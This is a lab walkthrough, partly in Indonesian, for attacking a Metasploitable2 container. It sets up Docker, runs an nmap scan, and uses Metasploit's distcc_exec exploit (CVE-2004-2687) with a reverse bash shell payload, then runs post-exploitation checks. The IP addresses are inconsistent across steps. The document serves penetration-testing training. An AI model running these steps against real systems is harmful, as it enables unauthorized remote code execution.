#Conduct Penetration Testing on Metasploitable2 with Nmap #Setting up the Environment #setting network pentest docker network create --driver=bridge --subnet=10.10.10.0/24 pentest # pull image untuk kali linux docker pull kalilinux/kali-rolling # cek image kali linux docker image ls #download image metasploit 2 docker pull tleemcjr/metasploitable2 #jalankan container metasploitable2 docker run --network=host -h victim -it --rm --name metasploitable2 tleemcjr/metasploitable2 #buka terminal lagi dan login ke server docker #jalankan perintah di kali linux dengan masuk ke shell container kali linux docker run --network=host -h attacker -it --rm --name kalibox kalilinux/kali-rolling #jalankan container kali linux dengan network host dan masuk ke shell container kali linux docker exec -ti c5901ad350ca bash #install aplikasi di bawah ini apt update apt install net-tools apt install nmap #install di kali linux apt install metasploit-framework Vulnerability indexes: CVE-2004-2687 OSVDB-13378 Vulnerability attack module code: exploit/unix/misc/distcc_exec #masuk ke mfsconsole cd ~ msfconsole #gunakan nmap scann nmap -sV -T4 10.10.10.2 ----------------------------- #contoh hasil seperti di bawah ini [*] exec: nmap -sV -T4 10.10.10.2 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-12 02:53 +0000 Nmap scan report for 10.10.10.2 Host is up (0.000025s latency). Not shown: 979 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login 514/tcp open tcpwrapped 1099/tcp open java-rmi GNU Classpath grmiregistry 1524/tcp open ingreslock? 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 ------------------------------- #search for the module corresponding to the port service you want to attack search distcc use exploit/unix/misc/distcc_exec show options ------------------------------ #output seperti contoh di bawha ini Module options (exploit/unix/misc/distcc_exec): Name Current Setting Required Description ---- --------------- -------- ----------- CHOST no The local client address CPORT no The local client port Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo it.html RPORT 3632 yes The target port (TCP) Payload options (cmd/unix/reverse_bash): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 172.28.140.88 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Target View the full module info with the info, or info -d command. ------------------------------ #Set the target host parameter RHOST to 192.168.122.102 (ip metasploit atau victim) set RHOST 192.168.122.102 exploit #se the following commands: whoami, hostname, and ifconfig (to check the IP address) cd ~ msfconsole #cek user whoami #cek hostname hostname #cek ip address ifconfig